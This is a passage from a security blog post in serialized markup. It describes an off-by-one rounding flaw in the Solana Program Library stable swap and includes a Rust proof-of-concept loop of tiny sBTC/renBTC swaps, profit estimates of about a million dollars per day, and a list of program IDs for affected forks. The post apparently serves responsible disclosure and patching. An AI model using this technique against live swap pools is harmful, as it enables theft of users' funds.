{\n",{"type":24,"tag":327,"props":10669,"children":10670},{"class":329,"line":421},[10671,10675,10679,10684,10688,10693,10697,10701,10705,10710,10714,10718,10723,10727,10732,10736,10741,10746,10750,10754,10758,10762],{"type":24,"tag":327,"props":10672,"children":10673},{"style":334},[10674],{"type":29,"value":7558},{"type":24,"tag":327,"props":10676,"children":10677},{"style":346},[10678],{"type":29,"value":5894},{"type":24,"tag":327,"props":10680,"children":10681},{"style":356},[10682],{"type":29,"value":10683},"y_new",{"type":24,"tag":327,"props":10685,"children":10686},{"style":346},[10687],{"type":29,"value":2744},{"type":24,"tag":327,"props":10689,"children":10690},{"style":356},[10691],{"type":29,"value":10692},"_",{"type":24,"tag":327,"props":10694,"children":10695},{"style":346},[10696],{"type":29,"value":1674},{"type":24,"tag":327,"props":10698,"children":10699},{"style":381},[10700],{"type":29,"value":384},{"type":24,"tag":327,"props":10702,"children":10703},{"style":346},[10704],{"type":29,"value":5894},{"type":24,"tag":327,"props":10706,"children":10707},{"style":340},[10708],{"type":29,"value":10709},"checked_u8_power",{"type":24,"tag":327,"props":10711,"children":10712},{"style":346},[10713],{"type":29,"value":349},{"type":24,"tag":327,"props":10715,"children":10716},{"style":381},[10717],{"type":29,"value":8716},{"type":24,"tag":327,"props":10719,"children":10720},{"style":356},[10721],{"type":29,"value":10722},"y",{"type":24,"tag":327,"props":10724,"children":10725},{"style":346},[10726],{"type":29,"value":2744},{"type":24,"tag":327,"props":10728,"children":10729},{"style":397},[10730],{"type":29,"value":10731},"2",{"type":24,"tag":327,"props":10733,"children":10734},{"style":346},[10735],{"type":29,"value":3146},{"type":24,"tag":327,"props":10737,"children":10738},{"style":381},[10739],{"type":29,"value":10740},"?.",{"type":24,"tag":327,"props":10742,"children":10743},{"style":340},[10744],{"type":29,"value":10745},"checked_add",{"type":24,"tag":327,"props":10747,"children":10748},{"style":346},[10749],{"type":29,"value":349},{"type":24,"tag":327,"props":10751,"children":10752},{"style":356},[10753],{"type":29,"value":320},{"type":24,"tag":327,"props":10755,"children":10756},{"style":346},[10757],{"type":29,"value":3146},{"type":24,"tag":327,"props":10759,"children":10760},{"style":381},[10761],{"type":29,"value":7437},{"type":24,"tag":327,"props":10763,"children":10764},{"style":346},[10765],{"type":29,"value":852},{"type":24,"tag":327,"props":10767,"children":10768},{"class":329,"line":450},[10769,10774,10779,10783,10788,10792,10796,10800,10804,10808,10812,10816,10820,10824,10829,10833,10837,10842,10846,10851,10855,10859,10863,10867],{"type":24,"tag":327,"props":10770,"children":10771},{"style":381},[10772],{"type":29,"value":10773},"            .",{"type":24,"tag":327,"props":10775,"children":10776},{"style":340},[10777],{"type":29,"value":10778},"checked_ceil_div",{"type":24,"tag":327,"props":10780,"children":10781},{"style":346},[10782],{"type":29,"value":349},{"type":24,"tag":327,"props":10784,"children":10785},{"style":340},[10786],{"type":29,"value":10787},"checked_u8_mul",{"type":24,"tag":327,"props":10789,"children":10790},{"style":346},[10791],{"type":29,"value":349},{"type":24,"tag":327,"props":10793,"children":10794},{"style":381},[10795],{"type":29,"value":8716},{"type":24,"tag":327,"props":10797,"children":10798},{"style":356},[10799],{"type":29,"value":10722},{"type":24,"tag":327,"props":10801,"children":10802},{"style":346},[10803],{"type":29,"value":2744},{"type":24,"tag":327,"props":10805,"children":10806},{"style":397},[10807],{"type":29,"value":10731},{"type":24,"tag":327,"props":10809,"children":10810},{"style":346},[10811],{"type":29,"value":3146},{"type":24,"tag":327,"props":10813,"children":10814},{"style":381},[10815],{"type":29,"value":10740},{"type":24,"tag":327,"props":10817,"children":10818},{"style":340},[10819],{"type":29,"value":10745},{"type":24,"tag":327,"props":10821,"children":10822},{"style":346},[10823],{"type":29,"value":349},{"type":24,"tag":327,"props":10825,"children":10826},{"style":356},[10827],{"type":29,"value":10828},"b",{"type":24,"tag":327,"props":10830,"children":10831},{"style":346},[10832],{"type":29,"value":3146},{"type":24,"tag":327,"props":10834,"children":10835},{"style":381},[10836],{"type":29,"value":10740},{"type":24,"tag":327,"props":10838,"children":10839},{"style":340},[10840],{"type":29,"value":10841},"checked_sub",{"type":24,"tag":327,"props":10843,"children":10844},{"style":346},[10845],{"type":29,"value":349},{"type":24,"tag":327,"props":10847,"children":10848},{"style":356},[10849],{"type":29,"value":10850},"d_val",{"type":24,"tag":327,"props":10852,"children":10853},{"style":346},[10854],{"type":29,"value":3146},{"type":24,"tag":327,"props":10856,"children":10857},{"style":381},[10858],{"type":29,"value":7437},{"type":24,"tag":327,"props":10860,"children":10861},{"style":346},[10862],{"type":29,"value":3146},{"type":24,"tag":327,"props":10864,"children":10865},{"style":381},[10866],{"type":29,"value":7437},{"type":24,"tag":327,"props":10868,"children":10869},{"style":346},[10870],{"type":29,"value":405},{"type":24,"tag":327,"props":10872,"children":10873},{"class":329,"line":481},[10874,10878,10883,10887,10891],{"type":24,"tag":327,"props":10875,"children":10876},{"style":425},[10877],{"type":29,"value":8861},{"type":24,"tag":327,"props":10879,"children":10880},{"style":356},[10881],{"type":29,"value":10882}," y_new",{"type":24,"tag":327,"props":10884,"children":10885},{"style":381},[10886],{"type":29,"value":9887},{"type":24,"tag":327,"props":10888,"children":10889},{"style":356},[10890],{"type":29,"value":10622},{"type":24,"tag":327,"props":10892,"children":10893},{"style":346},[10894],{"type":29,"value":497},{"type":24,"tag":327,"props":10896,"children":10897},{"class":329,"line":500},[10898,10903],{"type":24,"tag":327,"props":10899,"children":10900},{"style":425},[10901],{"type":29,"value":10902},"            break",{"type":24,"tag":327,"props":10904,"children":10905},{"style":346},[10906],{"type":29,"value":405},{"type":24,"tag":327,"props":10908,"children":10909},{"class":329,"line":529},[10910,10915,10919],{"type":24,"tag":327,"props":10911,"children":10912},{"style":346},[10913],{"type":29,"value":10914},"        } ",{"type":24,"tag":327,"props":10916,"children":10917},{"style":425},[10918],{"type":29,"value":492},{"type":24,"tag":327,"props":10920,"children":10921},{"style":346},[10922],{"type":29,"value":497},{"type":24,"tag":327,"props":10924,"children":10925},{"class":329,"line":538},[10926,10931,10935,10939],{"type":24,"tag":327,"props":10927,"children":10928},{"style":356},[10929],{"type":29,"value":10930},"            y",{"type":24,"tag":327,"props":10932,"children":10933},{"style":381},[10934],{"type":29,"value":4809},{"type":24,"tag":327,"props":10936,"children":10937},{"style":356},[10938],{"type":29,"value":10882},{"type":24,"tag":327,"props":10940,"children":10941},{"style":346},[10942],{"type":29,"value":405},{"type":24,"tag":327,"props":10944,"children":10945},{"class":329,"line":547},[10946],{"type":24,"tag":327,"props":10947,"children":10948},{"style":346},[10949],{"type":29,"value":8989},{"type":24,"tag":327,"props":10951,"children":10952},{"class":329,"line":557},[10953],{"type":24,"tag":327,"props":10954,"children":10955},{"style":346},[10956],{"type":29,"value":535},{"type":24,"tag":25,"props":10958,"children":10959},{},[10960,10965],{"type":24,"tag":42,"props":10961,"children":10962},{},[10963],{"type":29,"value":10964},"approximate",{"type":29,"value":10966},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":24,"tag":25,"props":10968,"children":10969},{},[10970],{"type":29,"value":10971},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":24,"tag":317,"props":10973,"children":10975},{"code":10974,"language":1552,"meta":7,"className":1553,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[10976],{"type":24,"tag":284,"props":10977,"children":10978},{"__ignoreMap":7},[10979,10987,11027,11035,11064,11090,11106,11122,11147,11163,11179,11195,11211,11227,11239,11247,11267,11274,11282,11349,11356,11385,11392,11421,11428,11487],{"type":24,"tag":327,"props":10980,"children":10981},{"class":329,"line":330},[10982],{"type":24,"tag":327,"props":10983,"children":10984},{"style":551},[10985],{"type":29,"value":10986},"// from sbtc to renbtc\n",{"type":24,"tag":327,"props":10988,"children":10989},{"class":329,"line":367},[10990,10995,11000,11004,11008,11013,11018,11023],{"type":24,"tag":327,"props":10991,"children":10992},{"style":425},[10993],{"type":29,"value":10994},"for",{"type":24,"tag":327,"props":10996,"children":10997},{"style":356},[10998],{"type":29,"value":10999}," i",{"type":24,"tag":327,"props":11001,"children":11002},{"style":334},[11003],{"type":29,"value":10653},{"type":24,"tag":327,"props":11005,"children":11006},{"style":397},[11007],{"type":29,"value":6695},{"type":24,"tag":327,"props":11009,"children":11010},{"style":381},[11011],{"type":29,"value":11012}," ..",{"type":24,"tag":327,"props":11014,"children":11015},{"style":397},[11016],{"type":29,"value":11017}," 50",{"type":24,"tag":327,"props":11019,"children":11020},{"style":1639},[11021],{"type":29,"value":11022},"u8",{"type":24,"tag":327,"props":11024,"children":11025},{"style":346},[11026],{"type":29,"value":497},{"type":24,"tag":327,"props":11028,"children":11029},{"class":329,"line":408},[11030],{"type":24,"tag":327,"props":11031,"children":11032},{"style":551},[11033],{"type":29,"value":11034},"    // create swap transaction\n",{"type":24,"tag":327,"props":11036,"children":11037},{"class":329,"line":421},[11038,11042,11046,11051,11055,11060],{"type":24,"tag":327,"props":11039,"children":11040},{"style":334},[11041],{"type":29,"value":4794},{"type":24,"tag":327,"props":11043,"children":11044},{"style":334},[11045],{"type":29,"value":4799},{"type":24,"tag":327,"props":11047,"children":11048},{"style":356},[11049],{"type":29,"value":11050}," swap_instruction",{"type":24,"tag":327,"props":11052,"children":11053},{"style":381},[11054],{"type":29,"value":4809},{"type":24,"tag":327,"props":11056,"children":11057},{"style":340},[11058],{"type":29,"value":11059}," swap",{"type":24,"tag":327,"props":11061,"children":11062},{"style":346},[11063],{"type":29,"value":4663},{"type":24,"tag":327,"props":11065,"children":11066},{"class":329,"line":450},[11067,11072,11077,11081,11086],{"type":24,"tag":327,"props":11068,"children":11069},{"style":381},[11070],{"type":29,"value":11071},"        &",{"type":24,"tag":327,"props":11073,"children":11074},{"style":346},[11075],{"type":29,"value":11076},"spl_token",{"type":24,"tag":327,"props":11078,"children":11079},{"style":381},[11080],{"type":29,"value":2407},{"type":24,"tag":327,"props":11082,"children":11083},{"style":340},[11084],{"type":29,"value":11085},"id",{"type":24,"tag":327,"props":11087,"children":11088},{"style":346},[11089],{"type":29,"value":5357},{"type":24,"tag":327,"props":11091,"children":11092},{"class":329,"line":481},[11093,11097,11102],{"type":24,"tag":327,"props":11094,"children":11095},{"style":381},[11096],{"type":29,"value":11071},{"type":24,"tag":327,"props":11098,"children":11099},{"style":356},[11100],{"type":29,"value":11101},"swap_pubkey",{"type":24,"tag":327,"props":11103,"children":11104},{"style":346},[11105],{"type":29,"value":2231},{"type":24,"tag":327,"props":11107,"children":11108},{"class":329,"line":500},[11109,11113,11118],{"type":24,"tag":327,"props":11110,"children":11111},{"style":381},[11112],{"type":29,"value":11071},{"type":24,"tag":327,"props":11114,"children":11115},{"style":356},[11116],{"type":29,"value":11117},"swap_authority_pubkey",{"type":24,"tag":327,"props":11119,"children":11120},{"style":346},[11121],{"type":29,"value":2231},{"type":24,"tag":327,"props":11123,"children":11124},{"class":329,"line":529},[11125,11129,11134,11138,11143],{"type":24,"tag":327,"props":11126,"children":11127},{"style":381},[11128],{"type":29,"value":11071},{"type":24,"tag":327,"props":11130,"children":11131},{"style":356},[11132],{"type":29,"value":11133},"test_account_signer",{"type":24,"tag":327,"props":11135,"children":11136},{"style":381},[11137],{"type":29,"value":66},{"type":24,"tag":327,"props":11139,"children":11140},{"style":340},[11141],{"type":29,"value":11142},"pubkey",{"type":24,"tag":327,"props":11144,"children":11145},{"style":346},[11146],{"type":29,"value":5357},{"type":24,"tag":327,"props":11148,"children":11149},{"class":329,"line":538},[11150,11154,11159],{"type":24,"tag":327,"props":11151,"children":11152},{"style":381},[11153],{"type":29,"value":11071},{"type":24,"tag":327,"props":11155,"children":11156},{"style":356},[11157],{"type":29,"value":11158},"sbtc_user_account",{"type":24,"tag":327,"props":11160,"children":11161},{"style":346},[11162],{"type":29,"value":2231},{"type":24,"tag":327,"props":11164,"children":11165},{"class":329,"line":547},[11166,11170,11175],{"type":24,"tag":327,"props":11167,"children":11168},{"style":381},[11169],{"type":29,"value":11071},{"type":24,"tag":327,"props":11171,"children":11172},{"style":356},[11173],{"type":29,"value":11174},"sbtc_reserve",{"type":24,"tag":327,"props":11176,"children":11177},{"style":346},[11178],{"type":29,"value":2231},{"type":24,"tag":327,"props":11180,"children":11181},{"class":329,"line":557},[11182,11186,11191],{"type":24,"tag":327,"props":11183,"children":11184},{"style":381},[11185],{"type":29,"value":11071},{"type":24,"tag":327,"props":11187,"children":11188},{"style":356},[11189],{"type":29,"value":11190},"renbtc_reserve",{"type":24,"tag":327,"props":11192,"children":11193},{"style":346},[11194],{"type":29,"value":2231},{"type":24,"tag":327,"props":11196,"children":11197},{"class":329,"line":586},[11198,11202,11207],{"type":24,"tag":327,"props":11199,"children":11200},{"style":381},[11201],{"type":29,"value":11071},{"type":24,"tag":327,"props":11203,"children":11204},{"style":356},[11205],{"type":29,"value":11206},"renbtc_user_account",{"type":24,"tag":327,"props":11208,"children":11209},{"style":346},[11210],{"type":29,"value":2231},{"type":24,"tag":327,"props":11212,"children":11213},{"class":329,"line":1017},[11214,11218,11223],{"type":24,"tag":327,"props":11215,"children":11216},{"style":381},[11217],{"type":29,"value":11071},{"type":24,"tag":327,"props":11219,"children":11220},{"style":356},[11221],{"type":29,"value":11222},"admin_fee_account_sbtc_to_ren",{"type":24,"tag":327,"props":11224,"children":11225},{"style":346},[11226],{"type":29,"value":2231},{"type":24,"tag":327,"props":11228,"children":11229},{"class":329,"line":1026},[11230,11235],{"type":24,"tag":327,"props":11231,"children":11232},{"style":397},[11233],{"type":29,"value":11234},"        1",{"type":24,"tag":327,"props":11236,"children":11237},{"style":346},[11238],{"type":29,"value":2231},{"type":24,"tag":327,"props":11240,"children":11241},{"class":329,"line":1048},[11242],{"type":24,"tag":327,"props":11243,"children":11244},{"style":397},[11245],{"type":29,"value":11246},"        2\n",{"type":24,"tag":327,"props":11248,"children":11249},{"class":329,"line":1067},[11250,11255,11259,11263],{"type":24,"tag":327,"props":11251,"children":11252},{"style":346},[11253],{"type":29,"value":11254},"    )",{"type":24,"tag":327,"props":11256,"children":11257},{"style":381},[11258],{"type":29,"value":66},{"type":24,"tag":327,"props":11260,"children":11261},{"style":340},[11262],{"type":29,"value":5352},{"type":24,"tag":327,"props":11264,"children":11265},{"style":346},[11266],{"type":29,"value":4838},{"type":24,"tag":327,"props":11268,"children":11269},{"class":329,"line":1075},[11270],{"type":24,"tag":327,"props":11271,"children":11272},{"emptyLinePlaceholder":16},[11273],{"type":29,"value":544},{"type":24,"tag":327,"props":11275,"children":11276},{"class":329,"line":1084},[11277],{"type":24,"tag":327,"props":11278,"children":11279},{"style":551},[11280],{"type":29,"value":11281},"    // nonce\n",{"type":24,"tag":327,"props":11283,"children":11284},{"class":329,"line":1100},[11285,11290,11294,11299,11303,11308,11312,11316,11320,11325,11330,11335,11339,11344],{"type":24,"tag":327,"props":11286,"children":11287},{"style":356},[11288],{"type":29,"value":11289},"    swap_instruction",{"type":24,"tag":327,"props":11291,"children":11292},{"style":381},[11293],{"type":29,"value":66},{"type":24,"tag":327,"props":11295,"children":11296},{"style":346},[11297],{"type":29,"value":11298},"data",{"type":24,"tag":327,"props":11300,"children":11301},{"style":381},[11302],{"type":29,"value":66},{"type":24,"tag":327,"props":11304,"children":11305},{"style":340},[11306],{"type":29,"value":11307},"append",{"type":24,"tag":327,"props":11309,"children":11310},{"style":346},[11311],{"type":29,"value":349},{"type":24,"tag":327,"props":11313,"children":11314},{"style":381},[11315],{"type":29,"value":8716},{"type":24,"tag":327,"props":11317,"children":11318},{"style":334},[11319],{"type":29,"value":2099},{"type":24,"tag":327,"props":11321,"children":11322},{"style":340},[11323],{"type":29,"value":11324}," vec!",{"type":24,"tag":327,"props":11326,"children":11327},{"style":346},[11328],{"type":29,"value":11329},"[",{"type":24,"tag":327,"props":11331,"children":11332},{"style":356},[11333],{"type":29,"value":11334},"i",{"type":24,"tag":327,"props":11336,"children":11337},{"style":346},[11338],{"type":29,"value":2744},{"type":24,"tag":327,"props":11340,"children":11341},{"style":356},[11342],{"type":29,"value":11343},"extranonce",{"type":24,"tag":327,"props":11345,"children":11346},{"style":346},[11347],{"type":29,"value":11348},"]);\n",{"type":24,"tag":327,"props":11350,"children":11351},{"class":329,"line":1128},[11352],{"type":24,"tag":327,"props":11353,"children":11354},{"emptyLinePlaceholder":16},[11355],{"type":29,"value":544},{"type":24,"tag":327,"props":11357,"children":11358},{"class":329,"line":1148},[11359,11363,11367,11372,11376,11380],{"type":24,"tag":327,"props":11360,"children":11361},{"style":334},[11362],{"type":29,"value":4794},{"type":24,"tag":327,"props":11364,"children":11365},{"style":334},[11366],{"type":29,"value":4799},{"type":24,"tag":327,"props":11368,"children":11369},{"style":356},[11370],{"type":29,"value":11371}," instructions",{"type":24,"tag":327,"props":11373,"children":11374},{"style":381},[11375],{"type":29,"value":4809},{"type":24,"tag":327,"props":11377,"children":11378},{"style":340},[11379],{"type":29,"value":11324},{"type":24,"tag":327,"props":11381,"children":11382},{"style":346},[11383],{"type":29,"value":11384},"[];\n",{"type":24,"tag":327,"props":11386,"children":11387},{"class":329,"line":1176},[11388],{"type":24,"tag":327,"props":11389,"children":11390},{"emptyLinePlaceholder":16},[11391],{"type":29,"value":544},{"type":24,"tag":327,"props":11393,"children":11394},{"class":329,"line":1184},[11395,11400,11404,11408,11412,11417],{"type":24,"tag":327,"props":11396,"children":11397},{"style":356},[11398],{"type":29,"value":11399},"    instructions",{"type":24,"tag":327,"props":11401,"children":11402},{"style":381},[11403],{"type":29,"value":66},{"type":24,"tag":327,"props":11405,"children":11406},{"style":340},[11407],{"type":29,"value":5517},{"type":24,"tag":327,"props":11409,"children":11410},{"style":346},[11411],{"type":29,"value":349},{"type":24,"tag":327,"props":11413,"children":11414},{"style":356},[11415],{"type":29,"value":11416},"swap_instruction",{"type":24,"tag":327,"props":11418,"children":11419},{"style":346},[11420],{"type":29,"value":583},{"type":24,"tag":327,"props":11422,"children":11423},{"class":329,"line":1192},[11424],{"type":24,"tag":327,"props":11425,"children":11426},{"emptyLinePlaceholder":16},[11427],{"type":29,"value":544},{"type":24,"tag":327,"props":11429,"children":11430},{"class":329,"line":1212},[11431,11436,11440,11445,11449,11453,11458,11462,11466,11471,11475,11479,11483],{"type":24,"tag":327,"props":11432,"children":11433},{"style":356},[11434],{"type":29,"value":11435},"    env",{"type":24,"tag":327,"props":11437,"children":11438},{"style":381},[11439],{"type":29,"value":66},{"type":24,"tag":327,"props":11441,"children":11442},{"style":340},[11443],{"type":29,"value":11444},"execute_as_transaction",{"type":24,"tag":327,"props":11446,"children":11447},{"style":346},[11448],{"type":29,"value":349},{"type":24,"tag":327,"props":11450,"children":11451},{"style":381},[11452],{"type":29,"value":8716},{"type":24,"tag":327,"props":11454,"children":11455},{"style":356},[11456],{"type":29,"value":11457},"instructions",{"type":24,"tag":327,"props":11459,"children":11460},{"style":346},[11461],{"type":29,"value":2744},{"type":24,"tag":327,"props":11463,"children":11464},{"style":381},[11465],{"type":29,"value":8716},{"type":24,"tag":327,"props":11467,"children":11468},{"style":340},[11469],{"type":29,"value":11470},"vec!",{"type":24,"tag":327,"props":11472,"children":11473},{"style":346},[11474],{"type":29,"value":11329},{"type":24,"tag":327,"props":11476,"children":11477},{"style":381},[11478],{"type":29,"value":8716},{"type":24,"tag":327,"props":11480,"children":11481},{"style":356},[11482],{"type":29,"value":11133},{"type":24,"tag":327,"props":11484,"children":11485},{"style":346},[11486],{"type":29,"value":11348},{"type":24,"tag":327,"props":11488,"children":11489},{"class":329,"line":4841},[11490],{"type":24,"tag":327,"props":11491,"children":11492},{"style":346},[11493],{"type":29,"value":592},{"type":24,"tag":25,"props":11495,"children":11496},{},[11497],{"type":29,"value":11498},"It works!",{"type":24,"tag":1706,"props":11500,"children":11501},{},[11502],{"type":24,"tag":25,"props":11503,"children":11504},{},[11505],{"type":29,"value":11506},"holy shit\nyea, this is big",{"type":24,"tag":25,"props":11508,"children":11509},{},[11510],{"type":24,"tag":11511,"props":11512,"children":11514},"img",{"alt":7,"src":11513},"/posts/spl-swap/poc.png",[],{"type":24,"tag":228,"props":11516,"children":11518},{"id":11517},"exploitability",[11519],{"type":29,"value":11520},"Exploitability",{"type":24,"tag":25,"props":11522,"children":11523},{},[11524],{"type":29,"value":11525},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":24,"tag":25,"props":11527,"children":11528},{},[11529],{"type":29,"value":11530},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":24,"tag":25,"props":11532,"children":11533},{},[11534],{"type":29,"value":11535},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":24,"tag":25,"props":11537,"children":11538},{},[11539],{"type":24,"tag":11511,"props":11540,"children":11542},{"alt":7,"src":11541},"/posts/spl-swap/pr.png",[],{"type":24,"tag":25,"props":11544,"children":11545},{},[11546,11548,11553],{"type":29,"value":11547},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":24,"tag":42,"props":11549,"children":11550},{},[11551],{"type":29,"value":11552},"per instruction",{"type":29,"value":11554},". Transactions on Solana can also contain multiple instructions.",{"type":24,"tag":25,"props":11556,"children":11557},{},[11558],{"type":29,"value":11559},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":24,"tag":25,"props":11561,"children":11562},{},[11563,11565,11570],{"type":29,"value":11564},"Some quick napkin math confirms that this ",{"type":24,"tag":42,"props":11566,"children":11567},{},[11568],{"type":29,"value":11569},"is",{"type":29,"value":11571}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":24,"tag":25,"props":11573,"children":11574},{},[11575],{"type":24,"tag":284,"props":11576,"children":11578},{"className":11577},[2949,2950],[11579],{"type":24,"tag":327,"props":11580,"children":11582},{"className":11581},[2955],[11583],{"type":24,"tag":327,"props":11584,"children":11586},{"className":11585,"ariaHidden":2961},[2960],[11587,11678,11732,11770],{"type":24,"tag":327,"props":11588,"children":11590},{"className":11589},[2966],[11591,11596,11601,11654,11664,11668,11674],{"type":24,"tag":327,"props":11592,"children":11595},{"className":11593,"style":11594},[2971],"height:0.8141em;",[],{"type":24,"tag":327,"props":11597,"children":11599},{"className":11598},[2977],[11600],{"type":29,"value":3238},{"type":24,"tag":327,"props":11602,"children":11604},{"className":11603},[2977],[11605,11610],{"type":24,"tag":327,"props":11606,"children":11608},{"className":11607},[2977],[11609],{"type":29,"value":2988},{"type":24,"tag":327,"props":11611,"children":11613},{"className":11612},[3032],[11614],{"type":24,"tag":327,"props":11615,"children":11617},{"className":11616},[3037],[11618],{"type":24,"tag":327,"props":11619,"children":11621},{"className":11620},[3043],[11622],{"type":24,"tag":327,"props":11623,"children":11625},{"className":11624,"style":11594},[3048],[11626],{"type":24,"tag":327,"props":11627,"children":11629},{"style":11628},"top:-3.063em;margin-right:0.05em;",[11630,11634],{"type":24,"tag":327,"props":11631,"children":11633},{"className":11632,"style":3059},[3058],[],{"type":24,"tag":327,"props":11635,"children":11637},{"className":11636},[3064,3065,3066,3067],[11638],{"type":24,"tag":327,"props":11639,"children":11641},{"className":11640},[2977,3067],[11642,11648],{"type":24,"tag":327,"props":11643,"children":11645},{"className":11644},[2977,3067],[11646],{"type":29,"value":11647},"−",{"type":24,"tag":327,"props":11649,"children":11651},{"className":11650},[2977,3067],[11652],{"type":29,"value":11653},"8",{"type":24,"tag":327,"props":11655,"children":11657},{"className":11656},[2977,29],[11658],{"type":24,"tag":327,"props":11659,"children":11661},{"className":11660},[2977],[11662],{"type":29,"value":11663}," BTC",{"type":24,"tag":327,"props":11665,"children":11667},{"className":11666,"style":3705},[2992],[],{"type":24,"tag":327,"props":11669,"children":11671},{"className":11670},[3710],[11672],{"type":29,"value":11673},"∗",{"type":24,"tag":327,"props":11675,"children":11677},{"className":11676,"style":3705},[2992],[],{"type":24,"tag":327,"props":11679,"children":11681},{"className":11680},[2966],[11682,11686,11692,11699,11703,11709,11719,11723,11728],{"type":24,"tag":327,"props":11683,"children":11685},{"className":11684,"style":3685},[2971],[],{"type":24,"tag":327,"props":11687,"children":11689},{"className":11688},[2977],[11690],{"type":29,"value":11691},"$41",{"type":24,"tag":327,"props":11693,"children":11696},{"className":11694},[11695],"mpunct",[11697],{"type":29,"value":11698},",",{"type":24,"tag":327,"props":11700,"children":11702},{"className":11701,"style":3169},[2992],[],{"type":24,"tag":327,"props":11704,"children":11706},{"className":11705},[2977],[11707],{"type":29,"value":11708},"400/",{"type":24,"tag":327,"props":11710,"children":11712},{"className":11711},[2977,29],[11713],{"type":24,"tag":327,"props":11714,"children":11716},{"className":11715},[2977],[11717],{"type":29,"value":11718},"BTC",{"type":24,"tag":327,"props":11720,"children":11722},{"className":11721,"style":3705},[2992],[],{"type":24,"tag":327,"props":11724,"children":11726},{"className":11725},[3710],[11727],{"type":29,"value":11673},{"type":24,"tag":327,"props":11729,"children":11731},{"className":11730,"style":3705},[2992],[],{"type":24,"tag":327,"props":11733,"children":11735},{"className":11734},[2966],[11736,11741,11747,11757,11761,11766],{"type":24,"tag":327,"props":11737,"children":11740},{"className":11738,"style":11739},[2971],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":24,"tag":327,"props":11742,"children":11744},{"className":11743},[2977],[11745],{"type":29,"value":11746},"150",{"type":24,"tag":327,"props":11748,"children":11750},{"className":11749},[2977,29],[11751],{"type":24,"tag":327,"props":11752,"children":11754},{"className":11753},[2977],[11755],{"type":29,"value":11756}," swaps",{"type":24,"tag":327,"props":11758,"children":11760},{"className":11759,"style":2993},[2992],[],{"type":24,"tag":327,"props":11762,"children":11764},{"className":11763},[2998],[11765],{"type":29,"value":384},{"type":24,"tag":327,"props":11767,"children":11769},{"className":11768,"style":2993},[2992],[],{"type":24,"tag":327,"props":11771,"children":11773},{"className":11772},[2966],[11774,11779],{"type":24,"tag":327,"props":11775,"children":11778},{"className":11776,"style":11777},[2971],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":24,"tag":327,"props":11780,"children":11782},{"className":11781},[2977],[11783],{"type":29,"value":11784},"$0.0621",{"type":24,"tag":25,"props":11786,"children":11787},{},[11788],{"type":29,"value":11789},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":24,"tag":25,"props":11791,"children":11792},{},[11793],{"type":29,"value":11794},"We're well on our way to becoming a millionaire!",{"type":24,"tag":228,"props":11796,"children":11798},{"id":11797},"patch",[11799],{"type":29,"value":11800},"Patch",{"type":24,"tag":25,"props":11802,"children":11803},{},[11804],{"type":29,"value":11805},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":24,"tag":25,"props":11807,"children":11808},{},[11809],{"type":29,"value":11810},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":24,"tag":317,"props":11812,"children":11816},{"code":11813,"language":11814,"meta":7,"className":11815,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[11817],{"type":24,"tag":284,"props":11818,"children":11819},{"__ignoreMap":7},[11820],{"type":24,"tag":327,"props":11821,"children":11822},{"class":329,"line":330},[11823,11827,11832,11837,11842,11847,11852],{"type":24,"tag":327,"props":11824,"children":11825},{"style":340},[11826],{"type":29,"value":18},{"type":24,"tag":327,"props":11828,"children":11829},{"style":844},[11830],{"type":29,"value":11831}," logs",{"type":24,"tag":327,"props":11833,"children":11834},{"style":844},[11835],{"type":29,"value":11836}," -um",{"type":24,"tag":327,"props":11838,"children":11839},{"style":381},[11840],{"type":29,"value":11841}," |",{"type":24,"tag":327,"props":11843,"children":11844},{"style":340},[11845],{"type":29,"value":11846}," grep",{"type":24,"tag":327,"props":11848,"children":11849},{"style":844},[11850],{"type":29,"value":11851}," 'Instruction: Swap'",{"type":24,"tag":327,"props":11853,"children":11854},{"style":844},[11855],{"type":29,"value":11856}," -B1\n",{"type":24,"tag":25,"props":11858,"children":11859},{},[11860],{"type":29,"value":11861},"With some Google dorking, we were able to identify many of these programs.",{"type":24,"tag":317,"props":11863,"children":11865},{"code":11864},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap 